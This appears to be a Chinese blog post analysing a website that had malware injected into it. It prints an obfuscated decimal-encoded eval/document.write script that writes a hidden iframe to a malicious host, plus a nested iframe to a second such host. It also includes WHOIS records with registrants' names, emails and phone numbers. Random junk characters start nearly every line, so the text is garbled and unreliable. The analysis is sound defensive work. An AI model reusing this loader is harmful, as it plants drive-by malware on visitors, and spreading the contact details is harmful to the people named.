首发在我的博客里面，
045\i[l= !-RwB@\ http://www.areway.cn/?p=175 !7c'<[+Hm qguVaV4Y -#%X3F7/w 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
PGY 9*0n A$<>JVv <script>t=’60,105,102,114,97,109,101,
pyF5S,c 32,115,114,99,61,104,116,116,112,58,47,47,
XN(tcdCG 102,114,101,101,46,117,45,117,117,117,46,99,
>2C a5C 110,47,101,114,114,111,114,46,104,116,109,
\k4pK &b 32,119,105,100,116,104,61,49,48,48,32,104,
|z+9km7, 101,105,103,104,116,61,48,62,60,47,105,102,
A6i
et~h[ 114,97,109,101,62′;
IfB/O.;Kz t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
*]2R.u %A2`&:ip <script>t=’60,105,102,114,97,109,101,32,115,
x<
S\D& 114,99,61,104,116,116,112,58,47,47,102,114,
AsAFUuI 101,101,46,117,45,117,117,117,46,99,110,47,
n.Vtc-yZU 101,114,114,111,114,46,104,116,109,32,119,
"*bk{)dz} 105,100,116,104,61,49,48,48,32,104,101,105,
bP03G =`6w 103,104,116,61,48,62,60,47,105,102,114,97,
>b43%^yii 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
n$
dw<y document.write(t);</script>
7V 'Le2T' 6V
P)$h8 <html xmlns=”
B.6`cM^ http://www.w3.org/1999/xhtml phS>T “>
3S Fg# <head>
xKb"p4k9d <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
Lfll O <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
(Y )!"_| <title>首页 - 爱生活家庭网
Y'JL (~ | pZ\$50t&O 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
\gd6Yx^[ 转换字符串后的大概内容是（谁点击后果自付）：
Xy!&^C` J` <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
quRPg) `VXZ kh m 查询玉米u-uuu.cn的详细信息：
*/Cj$KY70 Domain Name: u-uuu.cn
E NyAF%6 ROID: 20070901s10001s64972306-cn
8 ?" Z e( Domain Status: ok
_4!{IdR Registrant Organization: 王雷
&SrGh$:X Registrant Name: 王雷
UM`nq;> Administrative Email:
czlovexs@126.com .HCaXFW Sponsoring Registrar: 北京万网志成科技有限公司
ig$jKou
F Name Server:ns.yovole.com
x5PPu/ Name Server:ns1.yovole.com
/6jGt'^U Registration Date: 2007-09-01 17:54
tIp{},bQ^ Expiration Date: 2008-09-01 17:54
<N-=fad] 最后PING了一下地址 都没有什么….
QXB|!' "qgu$N4/> 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
ZMe}M !V <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Oj-r;Tt_G} <script language=”javascript” src=”
v~aLTI http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 0#
l#,Y6#I >
Th/{x
h 这个玉米应该有可能是木马作者的：
/ISLVp%H foafau.info的详细信息：
(JU_8 j! Access to INFO WHOIS information is provided to assist persons in
W]@6=OpH determining the contents of a domain name registration record in the
)^";BVY Afilias registry database. The data in this record is provided by
KqK9X Afilias Limited for informational purposes only, and Afilias does not
W\NG>t guarantee its accuracy. This service is intended only for query-based
hbH#Co~o4# access. You agree that you will use this data only for lawful purposes
ke^d8Z. and that, under no circumstances will you use this data to: (a) allow,
*:[b 'D!A enable, or otherwise support the transmission by e-mail, telephone, or
h(|;\ ~ facsimile of mass unsolicited, commercial advertising or solicitations
Zd+> to entities other than the data recipient’s own existing customers; or
(,U 7 R^ (b) enable high volume, automated, electronic processes that send
Hh@2 m\HA queries or data to the systems of Registry Operator, a Registrar, or
"4RQ`.S R Afilias except as reasonably necessary to register domain names or
o"\{OX modify existing registrations. All rights reserved. Afilias reserves
p>&S7M/9 the right to modify these terms at any time. By submitting this query,
- tMA you agree to abide by this policy.
LGfmUb-{] Domain ID:D22418703-LRMS
jJ c07r'] Domain Name:FOAFAU.INFO
F: ,#? Created On:20-Nov-2007 16:05:42 UTC
%}ixgs7*c0 Last Updated On:20-Nov-2007 16:05:44 UTC
Pr2;Kp Expiration Date:20-Nov-2008 16:05:42 UTC
Y.X4*B Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
DiR'p`b~ Status:CLIENT DELETE PROHIBITED
)gjGG8 Ee Status:CLIENT RENEW PROHIBITED
4gya] Status:CLIENT TRANSFER PROHIBITED
pkW5D Status:CLIENT UPDATE PROHIBITED
IW mHp] Status:TRANSFER PROHIBITED
,0h3x$l) Registrant ID:GODA-040110615
{Y^c*Iqn Registrant Name:liu hong
+NT:<(;|i5 Registrant Organization:
fQ1 0O(`g, Registrant Street1:beijing
j<@fT
ewZ Registrant Street2:
cP J7E Registrant Street3:
T1bFxim#b Registrant City:beijing
Op90NZI#K Registrant State/Province:
);!dg\U Registrant Postal Code:100000
`^zQ$au'u Registrant Country:CN
0H<4+
*`K Registrant Phone:+86.860108888777
Z7oaQ\fR Registrant Phone Ext.:
@f%wd2 Registrant FAX:
6$DG.p Registrant FAX Ext.:
xh`Du|jvm Registrant Email:bbbshiji@163.com
`T`c@A Admin ID:GODA-240110615
NU(^6 Admin Name:liu hong
! YIb Admin Organization:
Q<C@KBiVE Admin Street1:beijing
VT
Vm7l Admin Street2:
9GaL0OWo Admin Street3:
ff[C' Admin City:beijing
j 37: Admin State/Province:
~n8F7 Admin Postal Code:100000
VD9J}bgJ Admin Country:CN
cT I,1U Admin Phone:+86.860108888777
/XN*)m Admin Phone Ext.:
n-W?Z'H{r Admin FAX:
[{?;c+[ Admin FAX Ext.:
* n,UOHlO Admin Email:bbbshiji@163.com
m qpd Billing ID:GODA-340110615
69rwX"^ Billing Name:liu hong
F46O!xb% Billing Organization:
v2 3TL Billing Street1:beijing
y6\ [1nZ Billing Street2:
{aT92-D3 Billing Street3:
FJW`$5? Billing City:beijing
-h=c =P Billing State/Province:
?f9$OLEB Billing Postal Code:100000
&`m~o/ Billing Country:CN
%Dl_} Billing Phone:+86.860108888777
ti+pUlVrM Billing Phone Ext.:
-;f+ ;
M Billing FAX:
_ m " ^lo Billing FAX Ext.:
4sI3(z)9H Billing Email:bbbshiji@163.com
z}D#WWSxf Tech ID:GODA-140110615
@|Z*f\ Tech Name:liu hong
L+u OBW_ Tech Organization:
-GK 'V Tech Street1:beijing
1ZKz3)K Tech Street2:
S7Qen6 l m Tech Street3:
tjt=N\; Tech City:beijing
/m; O;2" Tech State/Province:
% 6"o8 Tech Postal Code:100000
2}59 7Hb Tech Country:CN
rpx 0|{m Tech Phone:+86.860108888777
=[ APMig,n Tech Phone Ext.:
EmF]W+!z% Tech FAX:
F W/)uf3I Tech FAX Ext.:
A<a2TXcIE3 Tech Email:bbbshiji@163.com
cj` #Tg. Name Server:NS27.DOMAINCONTROL.COM
,b. kw}k Name Server:NS28.DOMAINCONTROL.COM
r,QJG$ Jo Name Server:
zo/0b/lQ Name Server:
oc q2 Name Server:
G[vUOEU ~O Name Server:
Z"4VH rA Name Server:
p_ A5C?& Name Server:
OCvml 2
vP Name Server:
%+D-y+hn Name Server:
/E; ;j9 Name Server:
IruyE(;HS Name Server:
DS.39NY Name Server:
neK*jdaP S$Qr@5 接着下载每个文件里面的代码：
_, 1 1EeW@ 一步一步看..
3zk:59 
?&{S~[;l 
[8xeQKp4 
h 3eGq:!9 
Xqc'R5C w 
=ZFcxGo 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
